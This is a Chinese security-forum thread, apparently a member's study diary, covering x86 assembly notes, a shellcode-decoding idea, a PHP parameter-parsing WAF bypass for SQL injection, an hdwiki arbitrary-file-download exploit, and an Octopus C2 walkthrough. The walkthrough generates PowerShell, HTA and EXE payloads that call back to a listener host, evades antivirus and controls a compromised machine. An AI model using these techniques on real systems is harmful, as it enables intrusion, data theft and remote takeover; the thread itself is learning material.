编译器会利用剩下的6个通用寄存器尽可能有效的存放局部变量,这样可以少产生代码,提高程序的效率,如果寄存器
不够用,编译器就会将变量放到栈中。


2.全局变量
大多数情况下,全局变量通常位于数据区块(.data)的一个固定地址处,当程序需要访问全局变量时,一般会用一个固定的硬编码地址
直接对内存进行寻址。例如:
mov eax,dword ptr[4084C0h],其中4084C0h就是全局变量的地址。


3.数组
他们在内存中按顺序连续存放在一起。在汇编状态下访问数组一般是通过基址加变址寻址实现的。例如
mov eax,[407030h+eax]   407030h为基址,eax为偏移量,这种情况下数组中的数据保存在数据段.data中。
寻址通过“基址+偏移量”来实现。

内容三:对shellcode边执行边解码的想法
刚刚看了邓国健大佬的文章,大概意思就是将一段Shellcode分成几部分,然后对其进行不同的加密,加密完之后在每段shellcode的后面添加
特定的字节来表示这段shellcode结束。然后在解密的时候通过循环碰到特定字节的时候就停止解密然后进行执行,依次这样下去,直达全部解密
完成。但是这里有个问题,如何保证特定的字节不会在加密之后的shellcode中出现,如果对于一些比较短的shellcode可以看出来,但是对于长度很长的
shellcode怎么办。
回复

使用道具 举报

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
 楼主| 发表于 2020-3-2 02:17:57 | 显示全部楼层
本帖最后由 caiH 于 2020-3-2 02:41 编辑

2020年3月1日
1、转移指令机器码的计算
根据转移距离的不同,转移指令有如下类型:
·短转移
·长转移
·子程序调用指令






短转移
无条件短转移的机器码形式为"EBxx",其中EB00h~EB7Fh是向后转移,EB80h~EBFFh是向前转移
例如"jmp 401005",其用位移量来表示转向地址的方法如下:

位移量=目的地址-起始地址-跳转指令本身的长度
转移指令机器码=转移类别机器码+位移量
例如  "EB03"这就是一个短转移指令机器码




长转移指令
无条件转移的机器码为5个字节,条件转移的机器码为6个字节,这是因为无条件转移只要用一个字节表示其
转移类型,而条件转移需要用2个字节表示其转移类型。长转移与短转移不同,长转移需要用4个字节来表示
转移偏量。











2、字符寻址指令
mov 指令将当前指令所在内存复制到目的寄存器中,其操作数可以是常量,也可以是指针。
mov eax,[401000h]直接寻址,将地址为00401000h的双字数据放入eax中
mov eax,[ecx]         寄存器间接寻址,把ecx中的地址所指的内容放入eax中


lea指令,他的操作数就是地址,所以lea eax,[addr]就是将表达式addr的值放入eax寄存器中
lea eax,[401000h]     将值401000h写入eax寄存器中,而不是地址为00401000h的数据放入eax中


在计算索引与常量的和时,编译器一般将指针放在第一个位置,而不考虑他们在程序中的孙雪,
例如:   mov deord ptr[eax+8],67452301


编译器广泛的2使用lea指令来传递指针,经常用lea指令来计算常量的和,其等价add指令,例如:
lea  eax,[eax+8]其等价于 add eax,8
lea指令的效率远高于add 指令,这个技巧可以使多个变量的求和在一个指令周期完成,同时可以通过任何寄存器将结果返回。






3、计算字符串的长度
strlen()函数在优化编译模式下的汇编指令如下:
mov ecx,FFFFFFF    如果看到这一句,程序很可能是要获取字符串的长度
sub eax,eax             将eax清零
repnz                       重复操作,直到ecx=0为止
scasb                       把AL的内容与edi指向的附加段中的数据逐一比较
not ecx                      ecx=字符串长度+1
dec ecx                      ecx是真实的长度
je xxxxxx                    如果ecx=0,意味着字符串的长度为0




4、一个绕过WAF的sql注入方法
php自身在解析请求的时候,如果参数名字中包含  "."     "、"时,会将他们转换成下划线。
那么假设我们发送的是这样一个请求:/t.php?user_id=11111&user.id=22222,php先将user.id=22222转换成
user_id=22222,那么就变成/t.php?user_id=11111&user_id=22222,
由于php的特性,我们输入两个相同名字的参数的时候,php是取后一个的
例如:

那么我们的思路就是,user_id和user.id是两个相同的参数,获取$_request['user_id']获取的却是22222,$_server['request_uri']中,
user_id和user.id却是两个不同的参数,那么切割覆盖后,$_request['user_id']获取的是11111,而WAF检测的是22222,那么这样就成功
地绕过WAF的检测。
参考链接:https://bugs.leavesongs.com/php/%E8%B4%B7%E9%BD%90%E4%B9%90%E7%B3%BB%E7%BB%9F%E6%9C%80%E6%96%B0%E7%89%88sql%E6%B3%A8%E5%85%A5%EF%BC%88%E6%97%A0%E9%9C%80%E7%99%BB%E5%BD%95%E7%BB%95%E8%BF%87waf%E5%8F%AFunion-select%E8%B7%A8%E8%A1%A8%E6%9F%A5%E8%AF%A2%EF%BC%89/


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
 楼主| 发表于 2020-3-3 22:02:26 | 显示全部楼层
本帖最后由 caiH 于 2020-3-3 23:02 编辑

2020年3月3日
1、hdwiki注入导致任意文件下载由于hdwiki上传附件处文件名过滤不严,导致这里可以进行注入
function douploadimg() {
    $imgname=$_FILES['photofile']['name'];
    $extname=file::extname($imgname);
    $destfile=$_ENV['attachment']->makepath($extname);
    $arrupload=file::uploadfile($_FILES['photofile'],$destfile);
   
    if($arrupload['result']==true){
      if(isset($this->setting['watermark'])){
        $_ENV['watermark']->image($destfile,$destfile);
      }
      $uid=intval($this->user['uid'])?$this->user['uid']:0;
      $did=intval($this->get['2'])?$this->get['2']:0;
      $_ENV['attachment']->add_attachment($uid ,$did,$imgname ,$destfile ,htmlspecialchars($this->post['picAlt']) ,$extname);


在hdwiki上传文件附件中,我们可以通过注入控制附件文件的位置,下载的时候即可读取该文件,产生一个任意文件读取。

在注册用户时,上传图片

上传过程中,中途抓包:
将文件名改成congif.php
其中config.php就是我们需要下载的文件。
附件上传完成之后,我们来到:
localhost/wiki/index.php?attachment-download-xx
其中xx就是我们上传附件的id,但是我们不知道这个id是什么,所以我们穷举一遍即可,可以下载即为我们要的config.php

2、Octopus的使用
首先在kali中将代码复制下来


同时安装python3的库以及mono,来确保c#源代码不会出现问题
之后我们来启动这个:python3 octopus.py


然后我们构造一个没有域名的监听器
listen_http 0.0.0.0 8082 192.168.119.131 5 page.php tt
我们在浏览器中打开
然后我们可以发现监听器设置成功







接下来我们生成载荷
generate_powershell tt

然后我们在win10中执行生成的shellcode



然后就可以在kali里面进行交互




然后生成一个HTA载荷
使用命令generate_hta tt
这里我们需要注意的是,我们要在http://192.168.119.131:8082/hta中去下载这个hta文件然后再去执行


以及我们可以生成exe载荷,generate_exe tt/root/test.exe


以上生成的载荷同样在win10上面执行发现360并没有拦截,说明免杀成功。


在进行交互的时候,我们可以获取肉鸡的信息,以及对其进行各种操作。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 08:27 , Processed in 0.025504 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表